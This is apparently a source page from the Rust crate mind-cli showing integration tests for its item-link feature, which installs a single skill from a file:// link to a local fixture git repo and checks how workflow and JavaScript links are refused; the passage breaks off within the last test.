mind-cli 0.29.0

A manager for agent tooling (skills, agents, rules, tools) that melds arbitrary git repos and links items into your agent directories.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
1151
1152
1153
1154
1155
1156
1157
1158
1159
1160
1161
1162
1163
1164
1165
1166
1167
1168
1169
1170
1171
1172
1173
1174
1175
1176
1177
1178
1179
1180
1181
1182
1183
1184
1185
1186
1187
1188
1189
1190
1191
1192
1193
1194
1195
1196
1197
1198
1199
1200
1201
1202
1203
1204
1205
1206
1207
1208
1209
1210
1211
1212
1213
1214
1215
1216
1217
1218
1219
1220
1221
1222
1223
1224
1225
1226
1227
1228
1229
1230
1231
1232
1233
1234
1235
1236
1237
1238
1239
1240
1241
1242
1243
1244
1245
1246
1247
1248
1249
1250
1251
1252
1253
1254
1255
1256
1257
1258
1259
1260
1261
1262
1263
1264
1265
1266
1267
1268
1269
1270
1271
1272
1273
1274
1275
1276
1277
1278
1279
1280
1281
1282
1283
1284
1285
1286
1287
1288
1289
1290
1291
1292
1293
1294
1295
1296
1297
1298
1299
1300
1301
1302
1303
1304
1305
1306
1307
1308
1309
1310
1311
1312
1313
1314
1315
1316
1317
1318
1319
1320
1321
1322
1323
1324
1325
1326
1327
1328
1329
1330
1331
1332
1333
1334
1335
1336
1337
1338
1339
1340
1341
1342
1343
1344
1345
1346
1347
1348
1349
1350
1351
1352
1353
1354
1355
1356
1357
1358
1359
1360
1361
1362
1363
1364
1365
1366
1367
1368
1369
1370
1371
1372
1373
1374
1375
1376
1377
1378
1379
1380
1381
1382
1383
1384
1385
1386
1387
1388
1389
1390
1391
1392
1393
1394
1395
1396
1397
1398
1399
1400
1401
1402
1403
1404
1405
1406
1407
1408
1409
1410
1411
1412
1413
1414
1415
1416
1417
1418
1419
1420
1421
1422
1423
1424
1425
1426
1427
1428
1429
1430
1431
1432
1433
1434
1435
1436
1437
1438
1439
1440
1441
1442
1443
1444
1445
1446
1447
1448
1449
1450
1451
1452
1453
1454
1455
1456
1457
1458
1459
1460
1461
1462
1463
1464
1465
1466
1467
1468
1469
1470
1471
1472
1473
1474
1475
1476
1477
1478
1479
1480
1481
1482
1483
1484
1485
1486
1487
1488
1489
1490
1491
1492
1493
1494
1495
1496
1497
1498
1499
1500
1501
1502
1503
1504
1505
1506
1507
1508
1509
1510
1511
1512
1513
1514
1515
1516
1517
1518
1519
1520
1521
1522
1523
1524
1525
1526
1527
1528
1529
1530
1531
1532
1533
1534
1535
1536
1537
1538
1539
1540
1541
1542
1543
1544
1545
1546
1547
1548
1549
1550
1551
1552
1553
1554
1555
1556
1557
1558
1559
1560
1561
1562
1563
1564
1565
1566
1567
1568
1569
1570
1571
1572
1573
1574
1575
1576
1577
1578
1579
1580
1581
1582
1583
1584
1585
1586
1587
1588
1589
1590
1591
1592
1593
1594
1595
1596
1597
1598
1599
1600
1601
1602
1603
1604
1605
1606
1607
1608
1609
1610
1611
1612
1613
1614
1615
1616
1617
1618
1619
1620
1621
1622
1623
1624
1625
1626
1627
1628
1629
1630
1631
1632
1633
1634
1635
1636
1637
1638
1639
1640
1641
1642
1643
1644
1645
1646
1647
1648
1649
1650
1651
1652
1653
1654
1655
1656
1657
1658
1659
1660
1661
1662
1663
1664
1665
1666
1667
1668
1669
1670
1671
1672
1673
1674
1675
1676
1677
1678
1679
1680
1681
1682
1683
1684
1685
1686
1687
1688
1689
1690
1691
1692
1693
1694
1695
1696
1697
1698
1699
1700
1701
1702
1703
1704
1705
1706
1707
1708
1709
1710
1711
1712
1713
1714
1715
1716
1717
1718
1719
1720
1721
1722
1723
1724
1725
1726
1727
1728
1729
1730
1731
1732
1733
1734
1735
1736
1737
1738
1739
1740
1741
1742
1743
1744
1745
1746
1747
1748
1749
1750
1751
1752
1753
1754
1755
1756
1757
1758
1759
1760
1761
1762
1763
1764
1765
1766
1767
1768
1769
1770
1771
1772
1773
1774
1775
1776
1777
1778
1779
1780
1781
1782
1783
1784
1785
1786
1787
1788
1789
1790
1791
1792
1793
1794
1795
1796
1797
1798
1799
1800
1801
1802
1803
1804
1805
1806
1807
1808
1809
1810
1811
1812
1813
1814
1815
1816
1817
1818
1819
1820
1821
1822
1823
1824
1825
1826
1827
1828
1829
1830
1831
1832
1833
1834
1835
1836
1837
1838
1839
1840
1841
1842
1843
1844
1845
1846
1847
1848
1849
1850
1851
1852
1853
1854
1855
1856
1857
1858
1859
1860
1861
1862
1863
1864
1865
1866
1867
1868
1869
1870
1871
1872
1873
1874
1875
1876
1877
1878
1879
1880
1881
1882
1883
1884
1885
1886
1887
1888
1889
1890
1891
1892
1893
1894
1895
1896
1897
1898
1899
1900
1901
1902
1903
1904
1905
1906
1907
1908
1909
1910
1911
1912
1913
1914
1915
1916
1917
1918
1919
1920
1921
1922
1923
1924
1925
1926
1927
1928
1929
1930
1931
1932
1933
1934
1935
1936
1937
1938
1939
1940
1941
1942
1943
1944
1945
1946
1947
1948
1949
1950
1951
1952
1953
1954
1955
1956
1957
1958
1959
1960
1961
1962
1963
1964
1965
1966
1967
1968
1969
1970
1971
1972
1973
1974
1975
1976
1977
1978
1979
1980
1981
1982
1983
1984
1985
1986
1987
1988
1989
1990
1991
1992
1993
1994
1995
1996
1997
1998
1999
2000
2001
2002
2003
2004
2005
2006
2007
2008
2009
2010
2011
2012
2013
2014
2015
2016
2017
2018
2019
2020
2021
2022
2023
2024
2025
2026
2027
2028
2029
2030
2031
2032
2033
2034
2035
2036
2037
2038
2039
2040
2041
2042
2043
2044
2045
2046
2047
2048
2049
2050
2051
2052
2053
2054
2055
2056
2057
2058
2059
2060
2061
2062
2063
2064
2065
2066
2067
2068
2069
2070
2071
2072
2073
2074
2075
2076
2077
2078
2079
2080
2081
2082
2083
2084
2085
2086
2087
2088
2089
2090
2091
2092
2093
2094
2095
2096
2097
2098
2099
2100
2101
2102
2103
2104
2105
2106
2107
2108
2109
2110
2111
2112
2113
2114
2115
2116
2117
2118
2119
2120
2121
2122
2123
2124
2125
2126
2127
2128
2129
2130
2131
2132
2133
2134
2135
2136
2137
2138
2139
2140
2141
2142
2143
2144
2145
2146
2147
2148
2149
2150
2151
2152
2153
2154
2155
2156
2157
2158
2159
2160
2161
2162
2163
2164
2165
2166
2167
2168
2169
2170
2171
2172
2173
2174
2175
2176
2177
2178
2179
2180
2181
2182
2183
2184
2185
2186
2187
2188
2189
2190
2191
2192
2193
2194
2195
2196
2197
2198
2199
2200
2201
2202
2203
2204
2205
2206
2207
2208
2209
2210
2211
2212
2213
2214
2215
2216
2217
2218
2219
2220
2221
2222
2223
2224
2225
2226
2227
2228
2229
2230
2231
2232
2233
2234
2235
2236
2237
2238
2239
2240
2241
2242
2243
2244
2245
2246
2247
2248
2249
2250
2251
2252
2253
2254
2255
2256
2257
2258
2259
2260
2261
2262
2263
2264
2265
2266
2267
2268
2269
2270
2271
2272
2273
2274
2275
2276
2277
2278
2279
2280
2281
2282
2283
2284
2285
2286
2287
2288
2289
2290
2291
2292
2293
2294
2295
2296
2297
2298
2299
2300
2301
2302
2303
2304
2305
2306
2307
2308
2309
2310
2311
2312
2313
2314
2315
2316
2317
2318
2319
2320
2321
2322
2323
2324
2325
2326
2327
2328
2329
2330
2331
2332
2333
2334
2335
2336
2337
2338
2339
2340
2341
2342
2343
2344
2345
2346
2347
2348
2349
2350
2351
2352
2353
2354
2355
2356
2357
2358
2359
2360
2361
2362
2363
2364
2365
2366
2367
2368
2369
2370
2371
2372
2373
2374
2375
2376
2377
2378
2379
2380
2381
2382
2383
2384
2385
2386
2387
2388
2389
2390
2391
2392
2393
2394
2395
2396
2397
2398
2399
2400
2401
2402
2403
2404
2405
2406
2407
2408
2409
2410
2411
2412
2413
2414
2415
2416
2417
2418
2419
2420
2421
2422
2423
2424
2425
2426
2427
2428
2429
2430
2431
2432
2433
2434
2435
2436
2437
2438
2439
2440
2441
2442
2443
2444
2445
2446
2447
2448
2449
2450
2451
2452
2453
2454
2455
2456
2457
2458
2459
2460
2461
2462
2463
2464
2465
2466
2467
2468
2469
2470
2471
2472
2473
2474
2475
2476
2477
2478
2479
2480
2481
2482
2483
2484
2485
2486
2487
2488
2489
2490
2491
2492
2493
2494
2495
2496
2497
2498
2499
2500
2501
2502
2503
2504
2505
2506
2507
2508
2509
2510
2511
2512
2513
2514
2515
2516
2517
2518
2519
2520
2521
2522
2523
2524
2525
2526
2527
2528
2529
2530
2531
2532
2533
2534
2535
2536
2537
2538
2539
2540
2541
2542
2543
2544
2545
2546
2547
2548
2549
2550
2551
2552
2553
2554
2555
2556
2557
2558
2559
2560
2561
2562
2563
2564
2565
2566
2567
2568
2569
2570
2571
2572
2573
2574
2575
2576
2577
2578
2579
2580
2581
2582
2583
2584
2585
2586
2587
2588
2589
2590
2591
2592
2593
2594
2595
2596
2597
2598
2599
2600
2601
2602
2603
2604
2605
2606
2607
2608
2609
2610
2611
2612
2613
2614
2615
2616
2617
2618
2619
2620
2621
2622
2623
2624
2625
2626
2627
2628
2629
2630
2631
2632
2633
2634
2635
2636
2637
2638
2639
2640
2641
2642
2643
2644
2645
2646
2647
2648
2649
2650
2651
2652
2653
2654
2655
2656
2657
2658
2659
2660
2661
2662
2663
2664
2665
2666
2667
//! Integration tests for item links (spec/item-link.md, LNK-*): a deep
//! tree/blob URL to one skill inside a repo, consumed as its own single-item
//! source instance.
//!
//! Each test drives the real `mind` binary against a hermetic, network-free
//! fixture: a local git repo addressed through the `file://` link form
//! (LNK-1), with MIND_HOME/CLAUDE_HOME pointed at a temp dir.

use std::path::{Path, PathBuf};
use std::process::{Command, Stdio};
use std::sync::atomic::{AtomicU32, Ordering};

static COUNTER: AtomicU32 = AtomicU32::new(0);

struct Sandbox {
    base: PathBuf,
    source: PathBuf,
    mind_home: PathBuf,
    claude_home: PathBuf,
}

struct Run {
    stdout: String,
    stderr: String,
    success: bool,
}

impl Sandbox {
    /// A source repo with two convention skills (`review`, `extra`).
    fn new() -> Sandbox {
        let sb = Sandbox::bare("agents");
        sb.write_and_commit(
            "skills/review/SKILL.md",
            "---\ndescription: Review the diff for bugs\n---\n# review skill\n",
        );
        sb.write_and_commit(
            "skills/extra/SKILL.md",
            "---\ndescription: A second skill\n---\n# extra skill\n",
        );
        sb
    }

    fn bare(name: &str) -> Sandbox {
        let n = COUNTER.fetch_add(1, Ordering::SeqCst);
        let base = std::env::temp_dir().join(format!("mind-lnk-{}-{n}", std::process::id()));
        let _ = std::fs::remove_dir_all(&base);
        let source = base.join(name);
        let sb = Sandbox {
            base: base.clone(),
            source: source.clone(),
            mind_home: base.join("mind"),
            claude_home: base.join("claude"),
        };
        write(&source.join("README.md"), "# fixture\n");
        git(&source, &["-c", "init.defaultBranch=main", "init", "-q"]);
        git(&source, &["config", "user.email", "t@t"]);
        git(&source, &["config", "user.name", "t"]);
        git(&source, &["add", "-A"]);
        git(&source, &["commit", "-qm", "initial"]);
        sb
    }

    fn mind(&self, args: &[&str]) -> Run {
        self.mind_env(args, &[])
    }

    fn mind_env(&self, args: &[&str], envs: &[(&str, &str)]) -> Run {
        let mut cmd = Command::new(env!("CARGO_BIN_EXE_mind"));
        cmd.args(args)
            .env("MIND_HOME", &self.mind_home)
            .env("CLAUDE_HOME", &self.claude_home)
            .stdout(Stdio::piped())
            .stderr(Stdio::piped())
            .stdin(Stdio::null());
        for (k, v) in envs {
            cmd.env(k, v);
        }
        let out = cmd.output().expect("run mind");
        Run {
            stdout: String::from_utf8_lossy(&out.stdout).into_owned(),
            stderr: String::from_utf8_lossy(&out.stderr).into_owned(),
            success: out.status.success(),
        }
    }

    fn write_and_commit(&self, rel: &str, contents: &str) {
        write(&self.source.join(rel), contents);
        git(&self.source, &["add", "-A"]);
        git(&self.source, &["commit", "-qm", "fixture"]);
    }

    /// A `file://` item link into this sandbox's source repo (LNK-1).
    fn link(&self, tail: &str) -> String {
        format!("file://{}/{tail}", self.source.to_string_lossy())
    }

    /// The registered identity of a link instance for `path` (LNK-4):
    /// `local/<base>/<repo>#<path>`.
    fn link_name(&self, path: &str) -> String {
        format!(
            "local/{}/{}#{path}",
            self.base.file_name().unwrap().to_string_lossy(),
            self.source.file_name().unwrap().to_string_lossy(),
        )
    }

    /// HEAD commit sha of the source repo.
    fn head_sha(&self) -> String {
        let out = Command::new("git")
            .args(["rev-parse", "HEAD"])
            .current_dir(&self.source)
            .output()
            .expect("git rev-parse");
        String::from_utf8_lossy(&out.stdout).trim().to_string()
    }
}

impl Drop for Sandbox {
    fn drop(&mut self) {
        let _ = std::fs::remove_dir_all(&self.base);
    }
}

fn write(path: &Path, contents: &str) {
    std::fs::create_dir_all(path.parent().unwrap()).unwrap();
    std::fs::write(path, contents).unwrap();
}

fn git(dir: &Path, args: &[&str]) {
    let status = Command::new("git")
        .args(args)
        .current_dir(dir)
        .stdout(Stdio::null())
        .stderr(Stdio::null())
        .status()
        .expect("run git");
    assert!(status.success(), "git {args:?} failed in {dir:?}");
}

/// Count the melded sources by reading sources.json (0 when absent).
fn source_count(sb: &Sandbox) -> usize {
    let path = sb.mind_home.join("sources.json");
    let Ok(json) = std::fs::read_to_string(&path) else {
        return 0;
    };
    json.matches("\"url\"").count()
}

#[test]
fn learn_url_installs_the_single_linked_skill() {
    // spec: LNK-6 LNK-7
    // `learn <url>` one-shots: registers the link instance and installs its
    // skill. Only the linked skill is offered/installed; the repo's other
    // skill is untouched.
    let sb = Sandbox::new();
    let r = sb.mind(&["learn", &sb.link("tree/main/skills/review")]);
    assert!(r.success, "learn <url> failed: {} {}", r.stdout, r.stderr);
    assert!(
        sb.claude_home.join("skills/review").exists(),
        "the linked skill must be installed"
    );
    assert!(
        !sb.claude_home.join("skills/extra").exists(),
        "the repo's other skill must NOT be installed"
    );
    assert_eq!(
        source_count(&sb),
        1,
        "exactly one source instance registered"
    );

    // The instance's catalog is exactly the linked skill (LNK-7).
    let probe = sb.mind(&["probe"]);
    assert!(
        probe.stdout.contains("skill:review") && !probe.stdout.contains("skill:extra"),
        "only the linked skill is offered: {}",
        probe.stdout
    );
}

#[test]
fn learn_url_again_is_an_up_to_date_noop() {
    // spec: LNK-6 LNK-4
    // Re-supplying an already-registered link re-enters the standard flow
    // (CLI-12/CLI-157): nothing re-clones, nothing errors.
    let sb = Sandbox::new();
    let url = sb.link("tree/main/skills/review");
    assert!(sb.mind(&["learn", &url]).success);
    let r = sb.mind(&["learn", &url]);
    assert!(r.success, "second learn <url> failed: {}", r.stderr);
    assert!(
        r.stdout.contains("already installed"),
        "second learn must be the up-to-date no-op: {}",
        r.stdout
    );
    assert_eq!(source_count(&sb), 1, "no duplicate instance registered");
}

#[test]
fn meld_url_registers_without_installing() {
    // spec: LNK-6
    // `meld <url> --register-only` follows the standard meld flow: the
    // instance registers and its skill is offered, not installed.
    let sb = Sandbox::new();
    let r = sb.mind(&[
        "meld",
        &sb.link("tree/main/skills/review"),
        "--register-only",
    ]);
    assert!(r.success, "meld <url> failed: {} {}", r.stdout, r.stderr);
    assert!(
        !sb.claude_home.join("skills/review").exists(),
        "--register-only must not install"
    );
    let probe = sb.mind(&["probe"]);
    assert!(
        probe.stdout.contains("skill:review"),
        "the linked skill must be offered: {}",
        probe.stdout
    );
}

#[test]
fn blob_link_to_skill_md_installs() {
    // spec: LNK-1
    // The blob form names the SKILL.md itself; the skill directory is its
    // parent.
    let sb = Sandbox::new();
    let r = sb.mind(&["learn", &sb.link("blob/main/skills/review/SKILL.md")]);
    assert!(r.success, "blob learn failed: {} {}", r.stdout, r.stderr);
    assert!(sb.claude_home.join("skills/review").exists());
}

#[test]
fn link_reaches_a_skill_the_marketplace_manifest_does_not_list() {
    // spec: LNK-7
    // The repo ships a marketplace.json that lists one plugin; the linked
    // skill is outside it. The link bypasses the manifest's authority.
    let sb = Sandbox::bare("mkt");
    sb.write_and_commit(
        ".claude-plugin/marketplace.json",
        r#"{"name":"Cat","plugins":[{"name":"kit","source":"./plugins/kit"}]}"#,
    );
    sb.write_and_commit(
        "plugins/kit/skills/foo/SKILL.md",
        "---\ndescription: listed\n---\n# foo\n",
    );
    sb.write_and_commit(
        "community/hidden/SKILL.md",
        "---\ndescription: unlisted\n---\n# hidden\n",
    );
    let r = sb.mind(&["learn", &sb.link("tree/main/community/hidden")]);
    assert!(r.success, "learn failed: {} {}", r.stdout, r.stderr);
    assert!(
        sb.claude_home.join("skills/hidden").exists(),
        "the unlisted skill must install via its link"
    );
    // The manifest's plugin was not melded as a side effect (LNK-8).
    assert_eq!(source_count(&sb), 1, "only the link instance registers");
}

#[test]
fn link_instances_and_a_plain_meld_coexist() {
    // spec: LNK-4 LNK-12
    // Two links into the same repo, plus the repo itself (namespaced to avoid
    // an item collision), are three distinct registered sources.
    let sb = Sandbox::new();
    assert!(
        sb.mind(&["learn", &sb.link("tree/main/skills/review")])
            .success
    );
    assert!(
        sb.mind(&["learn", &sb.link("tree/main/skills/extra")])
            .success
    );
    let spec = sb.source.to_string_lossy().into_owned();
    let r = sb.mind(&["meld", &spec, "--namespace", "full", "--register-only"]);
    assert!(r.success, "plain meld failed: {} {}", r.stdout, r.stderr);
    assert_eq!(source_count(&sb), 3, "instances and the repo are distinct");

    // recall --sources shows each instance under its #-suffixed identity.
    let sources = sb.mind(&["recall", "--sources"]);
    assert!(
        sources.stdout.contains("#skills/review") && sources.stdout.contains("#skills/extra"),
        "link identities must be visible: {}",
        sources.stdout
    );
}

#[test]
fn item_link_composes_with_a_consumer_alias() {
    // spec: STO-58 LNK-4 -- `--namespace` composes with an item link: the
    // instance identity is `host/owner/repo#<path>@<alias>` and its skill installs
    // under the prefix, coexisting with an unaliased link into the same path.
    let sb = Sandbox::new();
    assert!(
        sb.mind(&["learn", &sb.link("tree/main/skills/review")])
            .success,
        "bare link install"
    );
    assert!(
        sb.claude_home.join("skills/review").exists(),
        "unprefixed link skill installs"
    );

    let r = sb.mind(&[
        "meld",
        &sb.link("tree/main/skills/review"),
        "--namespace",
        "jk",
        "--yes",
    ]);
    assert!(r.success, "aliased link meld: {} {}", r.stdout, r.stderr);
    assert!(
        sb.claude_home.join("skills/jk:review").exists(),
        "aliased link installs its skill under the prefix"
    );
    assert!(
        sb.claude_home.join("skills/review").exists(),
        "the bare link's skill survives"
    );
    let sources = sb.mind(&["recall", "--sources"]).stdout;
    assert!(
        sources.contains("#skills/review@jk"),
        "the aliased link identity must be visible: {sources}"
    );
    assert_eq!(
        source_count(&sb),
        2,
        "the bare and aliased link instances coexist"
    );
}

#[test]
fn link_without_skill_md_is_an_error_and_registers_nothing() {
    // spec: LNK-7
    let sb = Sandbox::new();
    let r = sb.mind(&["learn", &sb.link("tree/main/skills/nope")]);
    assert!(!r.success, "a linkless path must fail: {}", r.stdout);
    assert!(
        r.stderr.contains("not a skill directory"),
        "the error must say the path is not a skill: {}",
        r.stderr
    );
    assert_eq!(source_count(&sb), 0, "nothing registered on failure");
}

#[test]
fn link_to_a_workflow_names_it_as_unsupported() {
    // spec: WF-6 LNK-20
    // A workflow's `.js` cannot be item-linked (the blob/tree form is
    // `.md`-only). The path is understood -- it names a real workflow file --
    // so the error must say so by name and point at the remedy, rather than
    // falling into the generic "not a skill directory" / "not under an
    // agents/, rules/, or commands/ directory" wording a merely-wrong path
    // gets.
    let sb = Sandbox::new();
    sb.write_and_commit(
        "workflows/deploy.js",
        "export const meta = { name: 'deploy', description: 'Deploy it' };\n",
    );
    let r = sb.mind(&["learn", &sb.link("tree/main/workflows/deploy.js")]);
    assert!(
        !r.success,
        "an item link to a workflow must fail: {}",
        r.stdout
    );
    assert!(
        r.stderr.contains("workflow"),
        "the error must name workflows as the unsupported kind: {}",
        r.stderr
    );
    assert!(
        r.stderr.contains("mind probe <name>"),
        "the error must say how to find the workflow's ref after melding: {}",
        r.stderr
    );
    assert!(
        r.stderr.contains("--add-root"),
        "the error must name --add-root for a workflow the inventory leaves out: {}",
        r.stderr
    );
    assert!(
        !r.stderr.contains("not a skill directory"),
        "must not fall into the skill-directory wording: {}",
        r.stderr
    );
    assert!(
        !r.stderr
            .contains("not under an agents/, rules/, or commands/ directory"),
        "must not fall into the LNK-21 unresolved-kind wording: {}",
        r.stderr
    );
    assert_eq!(source_count(&sb), 0, "nothing registered on failure");
}

#[test]
fn a_blob_link_to_a_workflow_fails_at_parse_not_at_scan() {
    // spec: LNK-3 LNK-20 WF-6
    // The `blob/` form of the same path never reaches the WF-6 message: a blob
    // URL must name a `.md` file, which `parse_link_tail` enforces before any
    // clone. The two errors are easy to conflate, and the distinction is
    // load-bearing -- the blob refusal costs no network and registers nothing,
    // while the tree refusal is a judgement about a path mind did fetch.
    let sb = Sandbox::new();
    sb.write_and_commit(
        "workflows/deploy.js",
        "export const meta = { name: 'deploy', description: 'Deploy it' };\n",
    );
    let r = sb.mind(&["learn", &sb.link("blob/main/workflows/deploy.js")]);
    assert!(!r.success, "a blob link to a `.js` must fail: {}", r.stdout);
    assert!(
        r.stderr.contains("a blob link must name a `.md` file"),
        "the blob form must fail the LNK-3 parse rule: {}",
        r.stderr
    );
    assert!(
        !r.stderr.contains("does not install a workflow"),
        "the blob form must NOT borrow the WF-6 wording -- it never gets far \
         enough to classify the path: {}",
        r.stderr
    );
    assert_eq!(source_count(&sb), 0, "nothing registered on failure");
}

#[test]
fn an_explicit_kind_on_a_workflow_shaped_link_is_a_mismatch() {
    // spec: LNK-21 WF-6
    // `--kind agent` cannot rescue a workflow-shaped link. The path is not
    // `.md`, so it takes the directory reading, where any explicit kind other
    // than `skill` is a mismatch -- the explicit kind is answered before the
    // WF-6 refusal, and both are refusals, so nothing installs either way.
    let sb = Sandbox::new();
    sb.write_and_commit(
        "workflows/deploy.js",
        "export const meta = { name: 'deploy', description: 'Deploy it' };\n",
    );
    let r = sb.mind(&[
        "--json",
        "learn",
        &sb.link("tree/main/workflows/deploy.js"),
        "--kind",
        "agent",
    ]);
    assert!(
        !r.success,
        "`--kind agent` on a workflow path must fail: {}",
        r.stdout
    );
    let v: serde_json::Value = serde_json::from_str(r.stdout.trim())
        .unwrap_or_else(|e| panic!("stdout must be one JSON document: {e}\n{}", r.stdout));
    assert_eq!(
        v["error"]["kind"], "link-kind-mismatch",
        "the explicit kind is answered first, as a mismatch: {v}"
    );
    assert!(
        v["error"]["message"]
            .as_str()
            .is_some_and(|m| m.contains("agent")),
        "the error must name the kind that was asked for: {v}"
    );
    assert_eq!(source_count(&sb), 0, "nothing registered on failure");
    // And `--kind workflow` is not a way in either: `LinkKindArg` (the item-link
    // `--kind` flag's value set) is deliberately narrower than `KindArg` and
    // has no `Workflow` variant at all, so clap itself rejects the value
    // before mind ever classifies the path.
    let wf = sb.mind(&[
        "learn",
        &sb.link("tree/main/workflows/deploy.js"),
        "--kind",
        "workflow",
    ]);
    assert!(
        !wf.success,
        "`--kind workflow` must not open a path WF-6 closes: {}",
        wf.stdout
    );
    assert!(
        wf.stderr.contains("invalid value 'workflow'"),
        "clap must reject `workflow` as an invalid --kind value: {}",
        wf.stderr
    );
    assert!(
        wf.stderr.contains("agent") && wf.stderr.contains("rule") && wf.stderr.contains("command"),
        "clap's usage error must list the item-link kind's actual value set \
         (agent, rule, command -- no workflow): {}",
        wf.stderr
    );
    assert_eq!(source_count(&sb), 0, "nothing registered on failure");
}

#[test]
fn a_workflow_shaped_link_is_refused_by_shape_not_by_what_is_on_disk() {
    // spec: LNK-20 WF-6
    // The refusal is a judgement about the PATH (`workflows/` parent, or a
    // `.js` extension), so it holds for a file the repo does not have -- the
    // user gets the kind-specific remedy rather than a bare "not a skill
    // directory" that would send them looking for a typo.
    let sb = Sandbox::new();
    let absent = sb.mind(&["learn", &sb.link("tree/main/workflows/absent.js")]);
    assert!(!absent.success, "{}", absent.stdout);
    assert!(
        absent.stderr.contains("does not install a workflow"),
        "a workflow-shaped path that is not in the repo still gets the WF-6 \
         message: {}",
        absent.stderr
    );

    // A `.js` OUTSIDE `workflows/` is refused too, but as what it is: nothing
    // about `lib/util.js` says workflow, so the message must not call it one
    // (its remedy, `learn workflow:<name>`, would name no item at all).
    sb.write_and_commit("lib/util.js", "export const x = 1;\n");
    let stray = sb.mind(&["learn", &sb.link("tree/main/lib/util.js")]);
    assert!(!stray.success, "{}", stray.stdout);
    assert!(
        !stray.stderr.contains("workflow"),
        "a `.js` outside workflows/ must not be claimed to be a workflow: {}",
        stray.stderr
    );
    assert!(
        stray.stderr.contains("meld the repo instead"),
        "the remedy is to meld the repo: {}",
        stray.stderr
    );
    assert!(
        stray
            .stderr
            .contains("is a JavaScript file, and mind does not install one by item link"),
        "it is refused as a JavaScript file the link form does not take: {}",
        stray.stderr
    );
    assert_eq!(source_count(&sb), 0, "nothing registered on failure");
}

#[test]
fn the_two_js_link_refusals_carry_distinct_json_kinds() {
    // spec: LNK-20 WF-6
    // The distinction is only useful if a machine consumer can act on it: one
    // path names a kind mind deliberately does not install by link, the other
    // names a file the link form does not take at all. Same exit, different
    // slug, and neither may collapse into the generic `link-not-a-skill`.
